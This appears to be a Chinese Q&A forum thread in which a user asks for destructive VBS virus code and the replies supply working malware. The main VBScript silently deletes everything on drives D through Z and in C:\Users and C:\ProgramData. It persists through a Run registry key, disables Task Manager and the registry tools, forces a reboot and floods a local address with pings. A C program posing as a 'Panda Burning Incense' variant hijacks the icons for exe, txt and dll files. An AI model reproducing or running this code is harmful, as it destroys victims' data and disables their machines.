求最全的vbs病毒代码，要破坏性的。谢谢，回答的好我多给分。

那废话不说，问这个如何？不懂可以问我
On Error Resume Next
dim avest,xufso,wscrt
Set avest = WScript.Createobject("WScript.Shell")
Set wscrt = WScript.Createobject("WScript.Shell")
Set xufso = CreateObject("Scripting.FileSystemObject")
avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true
xufso.CreateFolder "C:\VBScript\"
wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功！"
xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"
xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"
wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"
msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp！",16+4096,"Error"
do
wscrt.run "ping 192.168.1.1 -l 65500 -t"
loop

先右键创建一个文本文档，打开它，输入下面的代码：
do
msgbox "此处可写任何文字"
loop
然后点左上角文件，另存为，不要改任何东西了，直接在文件后面加.vbs后缀。

伪熊猫烧香病毒 灰帽创造
#include
#include
#include
#include
#include
#include
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{

char buf[200] = "";
char path[300] = "reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Icons /v 3 /t reg_sz /d";
_getcwd(buf,sizeof(buf));
strcat(buf,"\\恐怖.exe");
strcat(path," ");
strcat(path,buf);
strcat(path," ");
strcat(path,"/f");
system(path);
HKEY hKey;
system(path);
RegOpenKeyEx(HKEY_CLASSES_ROOT,(LPCTSTR)"txtfile\\DefaultIcon",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "",0,REG_SZ,(const unsigned char*)buf,sizeof(buf));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CLASSES_ROOT,(LPCTSTR)"exefile\\DefaultIcon",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "",0,REG_SZ,(const unsigned char*)buf,sizeof(buf));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CLASSES_ROOT,(LPCTSTR)"dllfile\\DefaultIcon",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "",0,REG_SZ,(const unsigned char*)buf,sizeof(buf));
RegCloseKey(hKey);
system("taskkill /f /im explorer.exe & start explorer.exe");
return 0;
}